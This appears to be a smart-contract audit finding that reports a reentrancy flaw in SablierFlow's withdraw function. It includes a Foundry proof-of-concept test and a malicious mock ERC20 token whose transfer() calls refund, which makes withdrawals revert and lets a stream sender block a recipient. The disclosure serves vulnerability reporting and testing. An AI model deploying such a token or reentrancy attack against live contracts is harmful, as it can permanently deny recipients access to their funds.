With a specially crafted token it is possible to reenter the withdraw function and cause the final assert to fail, thereby cause the whole withdraw to fail.
If an attacker can somehow control an IERC20 token's transfer method, it is possible to reenter the withdraw function. If the attacker e.g. refunds a small amount during the withdraw, than the assertio will fail, and thus the withdraw will be reverted.
pragma solidity >=0.8.22;
import { Base_Test } from "../Base.t.sol";
import { ud21x18, UD21x18 } from "@prb/math/src/UD21x18.sol";
import { console } from "forge-std/src/console.sol";
import { Flow } from "../../src/types/DataTypes.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ReentereToken } from "../mocks/ReentereToken.sol";
contract ReentranceTest is Base_Test {
uint256 streamId;
mapping(Flow.Status => string) enunNames;
ReentereToken private specToken;
function setUp() public override {
super.setUp();
specToken = new ReentereToken("Rps adjuster token", "RPS", 18, address(flow));
UD21x18 rps = ud21x18(1e18);
users.sender = payable((address)(specToken));
streamId = flow.create(users.sender, users.recipient, rps, specToken, true);
specToken.setStreamId(streamId);
specToken.setRecipientAddress(users.recipient);
enunNames[Flow.Status.STREAMING_SOLVENT] = "STREAMING_SOLVENT";
enunNames[Flow.Status.STREAMING_INSOLVENT] = "STREAMING_INSOLVENT";
enunNames[Flow.Status.PAUSED_SOLVENT] = "PAUSED_SOLVENT";
enunNames[Flow.Status.PAUSED_INSOLVENT] = "PAUSED_INSOLVENT";
enunNames[Flow.Status.VOIDED] = "VOIDED";
}
function testCanReenterFromTransfer() public {
address sender = flow.getSender(streamId);
address recipient = flow.getRecipient(streamId);
resetPrank(sender);
deal({ token: address(specToken), to: sender, give: 1e30 });
safeApprove(1e30, address(specToken));
flow.deposit(streamId, 1e25, sender, recipient);
skip(1000);
console.log(
"Deposited to Stream (streamId: %s). Status is: %s. Total debt is: %s",
streamId,
getStreamStatus(streamId),
flow.totalDebtOf(streamId)
);
resetPrank(recipient);
flow.withdraw(streamId, recipient, 100);
}
function getStreamStatus(uint256 _streamId) private view returns (string memory) {
return enunNames[flow.statusOf(_streamId)];
}
function safeApprove(uint256 amount, address token) internal {
(bool success,) = token.call(abi.encodeCall(IERC20.approve, (address(flow), amount)));
success;
}
}
pragma solidity >=0.8.22;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { SablierFlow } from "../../src/SablierFlow.sol";
import { ud21x18, UD21x18 } from "@prb/math/src/UD21x18.sol";
contract ReentereToken is ERC20 {
uint8 internal immutable DECIMAL;
SablierFlow internal immutable flow;
address recipient;
uint256 streamId;
uint256 callCnt;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
address flowAddress_
)
ERC20(name_, symbol_)
{
DECIMAL = decimals_;
flow = (SablierFlow)(flowAddress_);
}
function decimals() public view override returns (uint8) {
return DECIMAL;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (to == recipient && callCnt < 2) {
flow.refund(streamId, 10);
callCnt++;
}
return super.transfer(to, value);
}
function setStreamId(uint256 streamiId_) public {
streamId = streamiId_;
}
function setRecipientAddress(address recipient_) public {
recipient = recipient_;
}
}
Altough an attacker (who is the sender of a flow) can craft a token for the special purpose of reentering into a withdraw, it is unlikely that such a token would gain enough popularity to be accepted by real recipients. It is more likely that an attacker can find some already existing token which itself makes a direct call from it's transfer function to an attacker-controled address. In such a case reentering SablierFlow is still possible, and in this case an attacker could permanently deny access for someone to withdraw from a flow (created by the attacker). This violates the contracts assumption, that recipients can withdraw covered debt any time.